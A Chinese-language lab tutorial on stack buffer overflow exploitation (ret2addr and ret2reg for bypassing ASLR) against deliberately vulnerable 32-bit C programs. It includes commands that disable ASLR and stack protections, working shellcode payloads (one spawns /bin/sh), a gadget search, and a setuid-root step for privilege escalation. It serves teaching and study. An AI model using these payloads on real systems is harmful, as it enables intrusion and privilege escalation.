———-一:ret2addr和ret2reg(绕过随机化)———-
测试环境:Ubuntu 12.04
调试工具:gdb(可用图形界面工具:insight)+ core文件
说明:若直接在gdb里执行程序,地址空间和程序单独运行时不同。程序出段错误可生成core文件,保存出错时的上下文信息,结合gdb一起,可以得知程序单独运行时的一些状态。实验前设置core文件大小:ulimit -c 1024,仅对当前shell起作用,默认值为0 ,即不生成core文件,注意如果已有core文件,新的段错误将不会生成新的core文件。
一、 栈内注入shellcode
1.ret2addr
- 攻击简介:利用缓冲区溢出,将可执行的shellcode注入到栈中,覆盖返回地址跳转到shellcode地址执行。
程序中main函数将bad.txt内容读入buffer数组,造成缓冲区溢出,shellcode的作用:write(1, "test\n", 5); exit(0);打印test后就退出。
- 关闭随机化
Sudo password
#echo 0 > /proc/sys/kernel/randomize_va_spac - 编译
$ gcc -Wall -g -fno-stack-protector -o ret2addr ret2addr.c -m32 -Wl,-zexecstack //(关闭栈溢出检测: -fno-stack-protector,关闭栈不可执行: -Wl,-zexecstack )
(1) 试探main函数返回地址在栈中的位置
在bad.txt里写入32个A和4个B字符,然后逐4增加A的个数,直到触发段错误,之后的实验也按此方法进行试探,或者直接通过gdb查看栈布局来调整。
`$ perl -e ‘printf “A”x36 . “B”x4’ > bad.txt ; ./ret2addrdata: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
程序在没有覆盖重要位置时,正常打印出字符串,覆盖了返回地址则发生段错。
$ perl -e ‘printf “A”x48 . “B”x4’ > bad.txt ; ./ret2addr `
通过gdb可以确认BBBB覆盖了返回地址(EIP为0x42424242,EBP为0x41414141)
$ gdb ret2addr core -q
(2) 注入shellcode并将返回地址覆盖为shellcode地址
- shellcode位置:在执行ret指令前,esp指向的是即为返回地址所保存的位置,由于ret指令相当于pop eip,执行后esp指向返回地址所在位置+4。因此若将shellcode注入到此,则shellcode起始地址为溢出时的esp,即上图中的0xbffff370。
所以最终的溢出内容格式为:Ax48 + 返回地址 + shellcode,实际内容如下:
perl -e 'printf "A"x48 ."\x70\xf3\xff\xbf"
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x74\x65\x73\x74\x0a"' > bad.txt ;./ret2addr
运行结果为调用write打印出test字符串,然后退出
2.ret2reg{可以绕过ASLR}
- 攻击简介:ret2addr需要事先确定shellcode的地址作为返回地址,若开了ASLR,则难以确定别的机器上的栈(esp)地址。ret2reg则可以绕过ASLR,通过jmp 寄存器的方式跳转到shellcode。
示例程序中,main函数调用子函数,子函数将输入拷贝到buffer中去,导致缓冲区溢出覆盖子函数返回地址,刚好此时eax指向shellcode,则通过call eax跳转到shellcode。
- 打开ASLR
# echo 2 > /proc/sys/kernel/randomize_va_space
编译
$ gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector
删除上次的core文件
$ rm core
(1) 试探返回地址保存的位置
./ret2reg $ (perl -e 'printf "A"x524 . "BBBB"')
触发段错误,通过gdb ret2reg core –q确认是否BBBB覆盖了返回地址ESP=0x42424242,EBP=0x41414141.
(2) 寻找寄存器和shellcode位置的关系
查看evilfunction函数汇编代码,调用了strcpy(buffer, input),按照参数压栈顺序,分析得知<+16>行是将buffer地址存到eax,然后存放在esp所指向内存。因此可知,调用strcpy函数前,eax指向buffer地址;但是eax属于caller-save寄存器,strcpy函数是否会将它改掉呢?我们根据core文件,分析strcpy函数中是否更改了eax。
已知eax的值为0xbfffef20,下图可见出错时eax仍然指向buffer,因此若将shellcode注入到此,通过一条类似于jmp eax的指令即可跳转到shellcode。
(3)寻找跳转到eax的指令
echo 2 > /proc/sys/kernel/randomize_va_space命令打开了地址随机化,但仅对栈空间,堆地址和动态库加载空间进行随机化,没有对程序做地址随机化。Linux gcc编译器提供了-fPIE选项,可使程序空间做地址混淆,但一般的开源软件和商用Linux发行商的服务进程并没有使用-fPIE进行安全增强。我们在程序中寻找是否存在call eax和jmp eax这样的指令。
$ objdump -d ret2reg | grep *%eax
选择80403df处的call *%eax指令,得到最终注入的内容格式:ShellCode(N) + A(524-N) + \xdf\x83\x04\x08,这里事先生成的shellcode为25字节,因此填充了499个A0。
./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\xdf\x83\x04\x08"')
攻击效果为进入了一个新的shell。若希望攻击效果更明显,可以给ret2reg加上root权限,攻击之后打开新的shell,从普通用户提权到root。
$ sudo chown root:root ret2reg
$ sudo chmod a+s ret2reg如何对付ret2reg,在ret之前,把相关寄存器都给复位掉。比如这里,在return之前加一条return 0之类,就能把eax给复位了。
ret2addr.c
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[32];
FILE *fp;
fp = fopen("bad.txt", "r");
if (!fp) {
perror("fopen");
return 1;
}
fread(buf, 1024, 1, fp);
printf("data: %s\n", buf);
return 0;
}
ret2reg.c
#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
evilfunction(argv[1]);
return 0;
}